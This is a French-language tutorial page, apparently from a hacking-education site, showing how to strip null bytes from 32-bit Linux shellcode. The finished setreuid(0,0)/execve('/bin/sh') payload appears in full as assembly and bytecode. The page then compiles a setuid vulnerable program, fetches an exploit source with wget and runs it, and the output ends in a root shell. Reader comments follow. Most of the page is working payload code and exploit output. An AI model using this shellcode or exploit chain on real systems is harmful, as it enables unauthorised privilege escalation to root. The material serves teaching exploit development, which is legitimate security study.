La fabrication de Shellcode


<< N'utiliser que le segment code


III°) Supprimer les Null Bytes

Enlever les 0 explicités dans le code
   On rappelle le bytecode final obtenu à l'étape précédente :
    00000000   66 B8 46 00  00 00 66 BB  00 00 00 00  66 B9 00 00  f.F...f.....f...
    00000010   00 00 CD 80  EB 28 66 5B  66 B8 00 00  00 00 67 88  .....(f[f.....g.
    00000020   43 07 66 67  89 5B 08 66  67 89 43 0C  66 B8 0B 00  C.fg.[.fg.C.f...
    00000030   00 00 66 67  8D 4B 08 66  67 8D 53 0C  CD 80 E8 D5  ..fg.K.fg.S.....
    00000040   FF 2F 62 69  6E 2F 73 68  30 61 61 61  61 62 62 62  ./bin/sh0aaaabbb
    00000050   62                                                                                b
On remarque trois successions particulières de bytes qui se répètent, à savoir des blocs de 4 bytes nuls. En traduisant ces blocs en hexadécimal, on obtient trivialement 0x00000000 : il s'agit sûrement de 0 explicités dans le code. En observant le code, on trouve facilement les trois instructions coupables, toutes trois de la forme mov registre,0. Avec nos connaissances en assembleur, on peut régler ce problème en utilisant l'instruction XOR (OU exclusif). Par définition, le OU exclusif retourne un résultat de 0 si on XOR une variable par rapport à elle même. Ie, XOR registre,registre place le résultat du XOR (c'est à dire 0) dans registre, et c'est gagné !
Voici le code après avoir supprimé les 0 explicités :
    ;shellcode.asm

       mov eax,70  ;on mets eax à 70 pour préparer l'appel à setreuid
       xor ebx,ebx  ;real uid 0 => root
       xor ecx,ecx  ;effective uid 0 => root
       int 0x80  ;Syscall 70

       jmp chaine  ;On va au label <chaine>

    retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
       pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx

       xor eax,eax  ;on mets 0 dans eax
       mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
                ;en fait, on réécrit le 0 de la chaine avec un nul byte
                ;al occupe 1 byte
       mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
                ;En fait, on réécrit aaaa par l'adresse de cheminshell
       mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
                ;en fait, on réécrit bbbb par 0x00000000
       mov eax,11  ;on mets eax à 11 pour préparer l'appel à execve
       lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
       lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
       int 0x80  ;Syscall 11

    chaine:  ;label chaine où on arrive après le jump
       call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
       cheminshell db "/bin/sh0aaaabbbb"
Et le nouveau bytecode après modification :
    00000000   66 B8 46 00  00 00 66 31  DB 66 31 D9  CD 80 E9 25  f.F...f1.f1....%
    00000010   00 66 5B 66  31 C0 67 88  43 07 66 67  89 5B 08 66  .f[f1.g.C.fg.[.f
    00000020   67 89 43 0C  66 B8 0B 00  00 00 66 67  8D 4B 08 66  g.C.f.....fg.K.f
    00000030   67 8D 53 0C  CD 80 E8 D8  FF 2F 62 69  6E 2F 73 68  g.S....../bin/sh
    00000040   30 61 61 61  61 62 62 62  62                                        0aaaabbbb
Hmm, il en reste encore...

Enlever les 0 dûs à l'utilisation de registres 32 bits pour des valeurs de 8 bits
   On remarque cette fois deux blocs de 3 bytes nuls consécutifs. La mise en relation entre le premier bloc de zéros et la première instruction du programme nous donne encore une fois immédiatement la raison de la présence de ces null bytes : on s'aperçoit que ces opcodes semblent provenir de mov eax,70 et mov eax,11. Effectivement, après un essai, on s'aperçoit que mov eax,70 s'assemble en 66 B8 46 00 00 00. Et oui ! On se rappelle que l'adressage des registres se fait sur 32 bits, donc 70 s'écrira 0x00000046 dans eax. Par conséquent, il suffit d'utiliser le registre al de 8 bits (sans oublier de faire un xor avant sur eax pour que les autres bytes soient forcément nulles et qu'on ait bien la valeur 70 dans le registre).
On modifie encore une fois le code :
    ;shellcode.asm

       xor eax,eax  ;on mets eax à 0
       mov al,70  ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid
       xor ebx,ebx  ;real uid 0 => root
       xor ecx,ecx  ;effective uid 0 => root
       int 0x80  ;Syscall 70

       jmp chaine  ;On va au label <chaine>

    retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
       pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx

       xor eax,eax  ;on mets 0 dans eax
       mov ebx,cheminshell  ;on mets l'adresse de cheminshell dans ebx
       mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
                ;en fait, on réécrit le 0 de la chaine avec un nul byte
                ;al occupe 1 byte
       mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
                ;En fait, on réécrit aaaa par l'adresse de cheminshell
       mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
                ;en fait, on réécrit bbbb par 0x00000000
       mov al,11  ;on mets al (donc eax) à 11 pour préparer l'appel à execve
       lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
       lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
       int 0x80  ;Syscall 11

    chaine:  ;label chaine où on arrive après le jump
       call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
       cheminshell db "/bin/sh0aaaabbbb"
Et on l'ouvre dans un éditeur hexadécimal :
    00000000   66 31 C0 B0  46 66 31 DB  66 31 D9 CD  80 E9 24 00  f1..Ff1.f1....$.
    00000010   66 5B 66 31  C0 67 88 43  07 66 67 89  5B 08 66 67  f[f1.g.C.fg.[.fg
    00000020   89 43 0C 66  31 C0 B0 0B  66 67 8D 4B  08 66 67 8D  .C.f1...fg.K.fg.
    00000030   53 0C CD 80  E8 D9 FF 2F  62 69 6E 2F  73 68 30 61  S....../bin/sh0a
    00000040   61 61 61 62  62 62 62                                                  aaabbbb
On y est presque ! Plus qu'un byte nul...

Enlever le 0 dû à l'utilisation du jmp long et supprimer les préfixes 16 bits
   Le dernier null byte restant peut être plus dur à examiner pour les non-initiés à l'assemblage. En mettant en relation le code et le bytecode, on s'aperçoit que c'est le jmp qui nous emmène à la fin du code qui créé ce 00. En effet, les jmp peuvent modifier l'EIP d'un offset de 216. Par conséquent, l'écriture de l'offset se fait sur 16 bits. Or, notre programme étant court, nous n'avons pas besoin d'écrire l'offset sur 16 bits, on peut très bien se contenter de 8 bits (décalage maximum de 256, beaucoup plus grand que la taille de notre shellcode)
La solution est tout simplement d'utiliser l'instruction jmp short qui remplit exactement cette fonction.
Aussi, afin de raccourcir notre shellcode, on peut enlever les 9 bytes désormais obsolètes que sont "0aaaabbbb" à la fin de la chaîne. En effet, nous ne travaillons plus dans un programme et les bytes qu'occupent ces caractères sont, pendant une vraie injection de shellcode en mémoire, de l'espace dans la pile qui a été dépassé et qui de toute façon n'était pas destiné à recevoir le buffer travaillé qui est envoyé, il n'y en a donc aucun besoin dans note bytecode.
Enfin, on rajoute BITS 32 au début du programme pour indiquer qu'on travaille avec les opcodes 32 bits (en réalité, les préfixes d'opcodes changent, on remarquera par exemple la disparition des 0x66).
Voici donc notre code final :
    ;shellcode.asm


    BITS 32

       xor eax,eax  ;on mets eax à 0
       mov al,70  ;on mets al (donc eax) à 70 pour préparer l'appel à setreuid
       xor ebx,ebx  ;real uid 0 => root
       xor ecx,ecx  ;effective uid 0 => root
       int 0x80  ;Syscall 70

       jmp short chaine  ;On va au label <chaine>

    retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
       pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx

       xor eax,eax  ;on mets 0 dans eax
       mov ebx,cheminshell  ;on mets l'adresse de cheminshell dans ebx
       mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
                ;en fait, on réécrit le 0 de la chaine avec un nul byte
                ;al occupe 1 byte
       mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
                ;En fait, on réécrit aaaa par l'adresse de cheminshell
       mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
                ;en fait, on réécrit bbbb par 0x00000000
       mov al,11  ;on mets al (donc eax) à 11 pour préparer l'appel à execve
       lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
       lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
       int 0x80  ;Syscall 11

    chaine:  ;label chaine où on arrive après le jump
       call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
       cheminshell db "/bin/sh"
Et, enfin, notre shellcode :
    00000000   31 C0 B0 46  31 DB 31 D9  CD 80 EB 16  5B 31 C0 88  1..F1.1.....[1..
    00000010   43 07 89 5B  08 89 43 0C  B0 0B 8D 4B  08 8D 53 0C  C..[..C....K..S.
    00000020   CD 80 E8 E5  FF FF FF 2F  62 69 6E 2F  73 68              ......./bin/sh
Il est finalement temps de vérifier que l'on n'a pas fait tout ça pour rien (on réutilise le programme vulnérable et le programme d'exploitation de la partie stack-based overflow, en insérant notre shellcode :
    $ su -
    Password:
    # wget -q http://www.bases-hacking.org/sources/Systeme/BoF/stack-based_overflow.c
    # gcc stack-based_overflow.c -o stack-based_overflow
    # chmod +s stack-based_overflow
    # exit
    logout
    $ wget -q http://www.bases-hacking.org/sources/Shellcode/stack-based_exploit2.c
    $ gcc stack-based_exploit2.c -o stack-based_exploit2
    $ ./stack-based_exploit2
    Adresse cible à 0xbf9f5924 (offset de 0xa4)
    Buffer à 0xbf9f5914
    Votre nom, 
    
    1À°F1Û1Ù̀ë[1ÀˆC‰‰C
    °
    S
    ̀èåÿÿÿ/bin/shŸ¿$YŸ¿$YŸ¿$YŸ¿$YŸ¿$YŸ¿, a été enregistré avec succès
    sh-3.1# whoami
    root
    sh-3.1#
GOT ROOT ?!! Notre shellcode a l'air de marcher parfaitement. Il y a beaucoup de manières d'améliorer ce shellcode. On peut en faire des beaucoup plus petits (pratique quand on n'a pas beaucoup de place dans la pile pour injecter le shellcode), ou encore un shellcode en caractères ascii imprimables (qui permet d'injecter quand on ne peut injecter que des caractères) ou encore du shell code polymorphique (un bytecode contenant le shellcode crypté et dont le travail est de décrypter le shellcode, puis de l'éxécuter). Nous vous ferons peut-être part de ces techniques quand nous aurons complété les autres sections ;-)


<< N'utiliser que le segment code



7 Commentaires
Afficher tous


FrizN 29/01/14 22:38
Euh, comme tout shellcode il a besoin d'être injecté sur une page mémoire exécutable, après il n'exécute aucune donnée sur la pile, mais c'est rare de trouver un segment RWX si la pile n'est pas exécutable.

Anonyme 25/01/14 13:49
ce shellcode fonctionne aussi pour un système avec une pile non exécutable ?

soum 16/06/13 14:42
Hallucinant, c'est vraiment un truc de specialiste

Anonyme 09/12/12 13:16
comment vous remercier pour cette tonne d'infos





Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.